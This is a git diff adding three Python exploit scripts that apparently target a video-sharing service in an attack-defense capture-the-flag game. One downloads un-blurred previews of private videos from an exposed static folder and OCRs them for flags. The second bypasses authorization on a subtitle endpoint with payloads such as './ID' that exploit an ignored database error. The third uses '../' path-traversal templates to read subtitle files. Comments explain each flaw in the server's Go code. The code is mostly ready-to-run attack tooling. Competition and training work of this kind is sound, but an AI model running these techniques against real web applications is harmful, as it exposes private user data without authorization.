diff --git a/sploits/tiktak_private_preview_leak.py b/sploits/tiktak_private_preview_leak.py new file mode 100755 index 0000000..9a03a2c --- /dev/null +++ b/sploits/tiktak_private_preview_leak.py @@ -0,0 +1,127 @@ +#!/usr/bin/env python3 +import sys +import re +import random +import requests + +USE_CUSTOM_USER_AGENT = False +FLAG_RX = re.compile(r"[A-Z0-9]{31}=") + +USER_AGENTS = [ + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15", + "Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0", + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0" +] + +PORT = 5000 +FEED_RX = re.compile(r'src="([^"]*preview_(\d+)(_blured)?\.png)"') + + +def _ocr(png_bytes): + """Optional: OCR the frame. No-op (and no crash) if pytesseract is absent.""" + try: + import io + from PIL import Image + import pytesseract + except ImportError: + return "" + try: + return pytesseract.image_to_string(Image.open(io.BytesIO(png_bytes))) + except Exception as e: + print(f"[-] ocr failed: {e}", file=sys.stderr, flush=True) + return "" + + +def exploit(target_ip): + flags = set() + + headers = {} + if USE_CUSTOM_USER_AGENT: + headers["User-Agent"] = random.choice(USER_AGENTS) + + # ------------------------------------------------------------------------- + # VULN: server/server.go handleCreate() + routes() + # ppath := s.previewPath(v.ID) // public/static/preview_.png + # video.GeneratePreview(ctx, ..., ppath) + # if v.Private { video.Blur(ppath, s.privatePreviewPath(v.ID)) } + # ... + # s.e.Static("/"+s.c.StaticFolder, s.c.StaticFolder) + # + # For a PRIVATE video the sharp first frame is written to + # public/static/preview_.png and is NEVER deleted; only an extra blurred + # copy preview__blured.png is produced. public/static is exposed by + # echo.Static, so the un-blurred frame of every private video is a plain + # unauthenticated GET away -- the feed only ever links the blurred one. + # + # /feed leaks the id of every video (including private ones), so: + # /public/static/preview__blured.png -> what you are supposed to see + # /public/static/preview_.png -> the real frame + # ------------------------------------------------------------------------- + try: + s = requests.Session() + s.headers.update(headers) + base = f"http://{target_ip}:{PORT}" + + private_ids = [] + try: + r = s.get(f"{base}/feed", timeout=5) + # a "_blured" preview in the feed == the video is private + private_ids = sorted( + {int(m[1]) for m in FEED_RX.findall(r.text) if m[2]}, reverse=True + ) + except requests.RequestException as e: + print(f"[-] feed failed for {target_ip}: {e}", file=sys.stderr, flush=True) + + if not private_ids: + print(f"[!] no private videos advertised by /feed on {target_ip}", + file=sys.stderr, flush=True) + return flags + + for vid in private_ids: + url = f"{base}/public/static/preview_{vid}.png" + try: + r = s.get(url, timeout=5) + except requests.RequestException as e: + print(f"[-] preview {vid} failed: {e}", file=sys.stderr, flush=True) + continue + if r.status_code != 200 or not r.content.startswith(b"\x89PNG"): + continue + + print(f"[+] leaked un-blurred preview of private video {vid} " + f"({len(r.content)} bytes) from {url}", file=sys.stderr, flush=True) + flags.update(FLAG_RX.findall(_ocr(r.content))) + + except requests.RequestException as e: + print(f"[-] Request failed for {target_ip}: {e}", file=sys.stderr, flush=True) + # ------------------------------------------------------------------------- + + return flags + + +def main(): + if len(sys.argv) < 2: + print(f"Usage: {sys.argv[0]} ", file=sys.stderr, flush=True) + sys.exit(1) + + target_ip = sys.argv[1] + + try: + found_flags = exploit(target_ip) + + if found_flags is None: + found_flags = [] + elif isinstance(found_flags, str): + found_flags = [found_flags] + + for flag in found_flags: + clean_flag = str(flag).strip() + if FLAG_RX.fullmatch(clean_flag): + print(clean_flag, flush=True) + + except Exception as e: + print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True) + + +if __name__ == "__main__": + main() diff --git a/sploits/tiktak_vtt_auth_bypass.py b/sploits/tiktak_vtt_auth_bypass.py new file mode 100755 index 0000000..3b1156f --- /dev/null +++ b/sploits/tiktak_vtt_auth_bypass.py @@ -0,0 +1,112 @@ +#!/usr/bin/env python3 +import sys +import re +import random +import requests + +USE_CUSTOM_USER_AGENT = False +FLAG_RX = re.compile(r"[A-Z0-9]{31}=") + +USER_AGENTS = [ + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15", + "Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0", + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0" +] + +PORT = 5000 +EXTRA_DEPTH = 60 # how many ids below the feed window to bruteforce +WATCH_RX = re.compile(r"/watch/(\d+)") + + +def exploit(target_ip): + flags = set() + + headers = {} + if USE_CUSTOM_USER_AGENT: + headers["User-Agent"] = random.choice(USER_AGENTS) + + # ------------------------------------------------------------------------- + # VULN: server/server.go:181-192 handleVtt() + # v, _ := s.db.GetVideo(ctx, vid) <-- error is DISCARDED + # if !s.haveAccess(ctx, uid, *v) { 403 } + # return c.File(path.Join(s.c.VttFolder, vid+".vtt")) + # + # `vid` is the RAW query string, it is used twice: + # 1) as a SQL value -> MySQL casts './7' to the number 0, no row matches, + # GetVideo returns (&Video{}, ErrNotFound) and the error is thrown away. + # The zero Video has Private=false and UserID=0, so haveAccess() returns + # true for everybody (even for an anonymous visitor, uid==0). + # 2) as a FILE PATH -> path.Join("public/vtt", "./7.vtt") == "public/vtt/7.vtt" + # + # => subtitles (where the checker stores the flag) of ANY private video are + # served without login, without a share token and without an access row. + # ------------------------------------------------------------------------- + try: + s = requests.Session() + s.headers.update(headers) + base = f"http://{target_ip}:{PORT}" + + # 1. enumerate video ids from the public feed + ids = [] + try: + r = s.get(f"{base}/feed", timeout=5) + ids = [int(x) for x in WATCH_RX.findall(r.text)] + except requests.RequestException as e: + print(f"[-] feed failed for {target_ip}: {e}", file=sys.stderr, flush=True) + + if ids: + lo = max(1, min(ids) - EXTRA_DEPTH) + ids = sorted(set(ids) | set(range(lo, min(ids))), reverse=True) + else: + ids = list(range(200, 0, -1)) + + # 2. for every id ask for its .vtt with a payload that de-syncs + # the SQL lookup from the file lookup + for vid in ids: + for payload in (f"./{vid}", f"x/../{vid}", f"/{vid}"): + try: + r = s.get(f"{base}/vtt/", params={"id": payload}, timeout=5) + except requests.RequestException as e: + print(f"[-] vtt {vid} failed: {e}", file=sys.stderr, flush=True) + break + if r.status_code != 200: + continue + found = FLAG_RX.findall(r.text) + if found: + flags.update(found) + break + + except requests.RequestException as e: + print(f"[-] Request failed for {target_ip}: {e}", file=sys.stderr, flush=True) + # ------------------------------------------------------------------------- + + return flags + + +def main(): + if len(sys.argv) < 2: + print(f"Usage: {sys.argv[0]} ", file=sys.stderr, flush=True) + sys.exit(1) + + target_ip = sys.argv[1] + + try: + found_flags = exploit(target_ip) + + if found_flags is None: + found_flags = [] + elif isinstance(found_flags, str): + found_flags = [found_flags] + + for flag in found_flags: + clean_flag = str(flag).strip() + if FLAG_RX.fullmatch(clean_flag): + print(clean_flag, flush=True) + + except Exception as e: + print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True) + + +if __name__ == "__main__": + main() diff --git a/sploits/tiktak_vtt_path_traversal.py b/sploits/tiktak_vtt_path_traversal.py new file mode 100755 index 0000000..17105f5 --- /dev/null +++ b/sploits/tiktak_vtt_path_traversal.py @@ -0,0 +1,118 @@ +#!/usr/bin/env python3 +import sys +import re +import random +import requests + +USE_CUSTOM_USER_AGENT = False +FLAG_RX = re.compile(r"[A-Z0-9]{31}=") + +USER_AGENTS = [ + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15", + "Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0", + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0" +] + +PORT = 5000 +WATCH_RX = re.compile(r"/watch/(\d+)") + +# path.Join("public/vtt", +".vtt") -- the payload escapes VttFolder and +# is re-anchored at the container WORKDIR (/app) or at "/". +TRAVERSALS = [ + "../vtt/{id}", + "../../public/vtt/{id}", + "../../../app/public/vtt/{id}", + "../../../../app/public/vtt/{id}", +] + + +def exploit(target_ip): + flags = set() + + headers = {} + if USE_CUSTOM_USER_AGENT: + headers["User-Agent"] = random.choice(USER_AGENTS) + + # ------------------------------------------------------------------------- + # VULN: server/server.go:190 handleVtt() + # vttPath := path.Join(s.c.VttFolder, vid+".vtt") + # return c.File(vttPath) + # + # `vid` comes straight from ?id= and is NEVER sanitised (no path.Clean("/"+p) + # guard like echo's Static handler does). Any "../" sequence walks out of + # public/vtt and c.File() happily serves the result -- i.e. arbitrary read of + # any *.vtt file on the container filesystem. + # + # Bonus: the very same value is fed to GetVideo() whose error is ignored, so + # a traversing id also never matches a DB row -> the private-video ACL check + # in haveAccess() is skipped as well (zero Video => Private=false). + # + # Here we abuse it to pull the subtitle track (= the flag) of every video + # while never touching the authorisation path at all. + # ------------------------------------------------------------------------- + try: + s = requests.Session() + s.headers.update(headers) + base = f"http://{target_ip}:{PORT}" + + ids = [] + try: + r = s.get(f"{base}/feed", timeout=5) + ids = sorted({int(x) for x in WATCH_RX.findall(r.text)}, reverse=True) + except requests.RequestException as e: + print(f"[-] feed failed for {target_ip}: {e}", file=sys.stderr, flush=True) + + if not ids: + ids = list(range(200, 0, -1)) + + good_tpl = None + for vid in ids: + templates = [good_tpl] if good_tpl else TRAVERSALS + for tpl in templates: + try: + r = s.get(f"{base}/vtt/", + params={"id": tpl.format(id=vid)}, + timeout=5) + except requests.RequestException as e: + print(f"[-] vtt {vid} failed: {e}", file=sys.stderr, flush=True) + break + if r.status_code != 200 or "WEBVTT" not in r.text: + continue + good_tpl = tpl + flags.update(FLAG_RX.findall(r.text)) + break + + except requests.RequestException as e: + print(f"[-] Request failed for {target_ip}: {e}", file=sys.stderr, flush=True) + # ------------------------------------------------------------------------- + + return flags + + +def main(): + if len(sys.argv) < 2: + print(f"Usage: {sys.argv[0]} ", file=sys.stderr, flush=True) + sys.exit(1) + + target_ip = sys.argv[1] + + try: + found_flags = exploit(target_ip) + + if found_flags is None: + found_flags = [] + elif isinstance(found_flags, str): + found_flags = [found_flags] + + for flag in found_flags: + clean_flag = str(flag).strip() + if FLAG_RX.fullmatch(clean_flag): + print(clean_flag, flush=True) + + except Exception as e: + print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True) + + +if __name__ == "__main__": + main()